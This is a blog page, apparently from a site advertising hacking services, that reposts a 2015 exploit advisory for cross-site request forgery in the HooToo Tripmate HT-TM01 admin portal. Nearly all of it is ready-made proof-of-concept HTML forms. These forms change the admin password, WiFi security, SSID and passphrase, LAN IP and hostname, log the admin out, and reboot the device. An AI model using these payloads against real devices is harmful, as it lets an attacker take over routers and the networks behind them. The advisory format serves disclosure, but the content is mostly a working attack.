Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863102212

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: HooToo Tripmate HT-TM01 Cross Site Request Forgery
# Date: 03Sep15
# Exploit Author: Ken Smith
# Contact: https://twitter.com/P4tchw0rk
# Vendor Homepage: http://www.hootoo.com
# Version: HT-TM01, version 2.000.022

1. Description
Various functions in the device's admin web portal are vulnerable to Cross
Site Request Forgery. Proof-of-concept HTML has been provided. In order for
changes in wireless settings/security (executed via CSRF) to apply, a save
and reset must be execute either by the admin manually saving the settings
through the portal or via the save and reset CSRF-vulnerable functions
described below.

2. Proof of Concept
Change the device's hostname
<form action="
http://10.10.10.254/protocol.csp?fname=system&opt=host&function=set"
method="POST">
<input type="hidden" name="name" value="CSRF123" />
<input type="submit" value="Submit request" />
</form>

Change the region
<form action="
http://10.10.10.254/protocol.csp?fname=net&opt=wifi_channel_region&function=set"
method="POST">
<input type="hidden" name="country" value="England" />
<input type="submit" value="Submit request" />
</form>

Log the admin user out
<form action="http://10.10.10.254/index.csp?fname=logout" method="POST">
<input type="submit" value="Submit request" />
</form>

Change the admin portal password
<form action="http://10.10.10.254/protocol.csp?fname=security&function=set"
method="POST">
<input type="hidden" name="name" value="admin" />
<input type="hidden" name="opt" value="pwdmod" />
<input type="hidden" name="pwd1" value="newpass" />
<input type="hidden" name="pwd2" value="newpass" />
<input type="submit" value="Submit request" />
</form>

Reboot the device
<form action="http://10.10.10.254/protocol.csp">
<input type="hidden" name="fname" value="system" />
<input type="hidden" name="opt" value="setting" />
<input type="hidden" name="action" value="reboot" />
<input type="hidden" name="function" value="set" />
<input type="hidden" name="r" value="0&#46;24464550580450606" />
<input type="submit" value="Submit request" />
</form>

Save changed settings
<form action="http://10.10.10.254/protocol.csp">
<input type="hidden" name="fname" value="storage" />
<input type="hidden" name="opt" value="listen&#95;disk" />
<input type="hidden" name="function" value="get" />
<input type="submit" value="Submit request" />
</form>

Change WiFi Security
<form action="
http://10.10.10.254/protocol.csp?fname=net&opt=wifi_ap&function=set"
method="POST">
<input type="hidden" name="mode" value="4" />
<input type="hidden" name="channel" value="1" />
<input type="hidden" name="security" value="4" />
<input type="hidden" name="hide&#95;ssid" value="0" />
<input type="hidden" name="HTBSSCoexistence" value="0" />
<input type="hidden" name="SSID" value="CSRF" />
<input type="hidden" name="passwd" value="Different&#45;password" />
<input type="submit" value="Submit request" />
</form>

Change network information
<form action="
http://10.10.10.254/protocol.csp?fname=net&opt=wifi_lan_ip&function=set"
method="POST">
<input type="hidden" name="ip" value="10&#46;10&#46;10&#46;123" />
<input type="hidden" name="mask" value="255&#46;255&#46;255&#46;0" />
<input type="submit" value="Submit request" />
</form>